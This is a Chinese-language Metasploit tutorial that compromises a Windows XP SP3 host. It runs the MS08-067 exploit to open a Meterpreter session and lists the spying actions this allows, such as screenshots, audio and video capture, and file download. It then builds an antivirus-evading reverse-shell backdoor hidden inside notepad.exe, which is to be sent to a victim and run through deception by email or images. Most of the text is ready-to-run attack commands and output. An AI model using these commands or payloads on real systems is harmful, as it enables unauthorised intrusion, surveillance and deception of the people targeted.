我使用Kali Linux的IP地址是192.168.0.112;在同一局域網內有一台運行Windows XP(192.168.0.108)的測試電腦。
本文演示怎么使用Metasploit入侵windows xp sp3。
啟動msfconsole:
# msfconsole
選擇一個漏洞:
msf > search platform: windows xp sp3
exploit/windows/smb/ms08_067_netapi是08年發現的漏洞,等級Great。
查看某個漏洞的詳細信息;包含使用方法、支持的平台等等,非常有幫助:
msf > info exploit/windows/smb/ms08_067_netapi
依次執行如下命令:
msf > use exploit/windows/smb/ms08_067_netapi
> set payload windows/meterpreter/bind_tcp
> set RHOST 192.168.0.108 (設置目標主機IP地址)
> exploit
如果目標主機有這個漏洞的話,你就可以控制它了;如果沒有,嘗試使用其他漏洞。
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP SP3 - Service Pack 3 - lang:Chinese
[*] Selected Target: Windows XP SP3 Chinese (AlwaysOn NK)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (751104 bytes) to 192.168.0.108
[*] Meterpreter session 1 opened (192.168.0.1:41614 -> 192.168.0.108:4444) at 2016-04-15 17:29:32
meterpreter >
現在你就可以控制目標主機了,可以截屏、錄音、視頻、下載文件、殺進程等等;使用help查看可以執行的命令。
演示使用后門程序侵入Windows
原理:在Kali Linux上生成后門程序,然后把它發送給受害者,欺騙受害者運行(使用郵件、圖片等等)。難點是需要過殺毒軟件和防火牆。
生成后門程序:
我把后門程序隱藏到記事本程序中:notepad.exe
查看Kali Linux的IP:ifconfig(192.168.0.112)
創建后門程序,my_backdoor.exe:
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.112 LPORT=4445 -x NOTEPAD.EXE -e x86/jmp_call_additive -i 4 -k -f exe > my_backdoor.exe
上面命令使用加密試圖躲過殺毒軟件,但是,不要期望它可以生效。使用man msfvenom查看幫助。
把它發送到Windows系統,並運行;如果不能運行換用其他加密方式。
啟動msfconsole:
# msfconsole
use exploit/multi/handler
set LHOST 192.168.0.112
set LPORT 4445
set payload windows/meterpreter/reverse_tcp
show options
exploit
等待受害者啟動后門程序。
OK,入侵成功。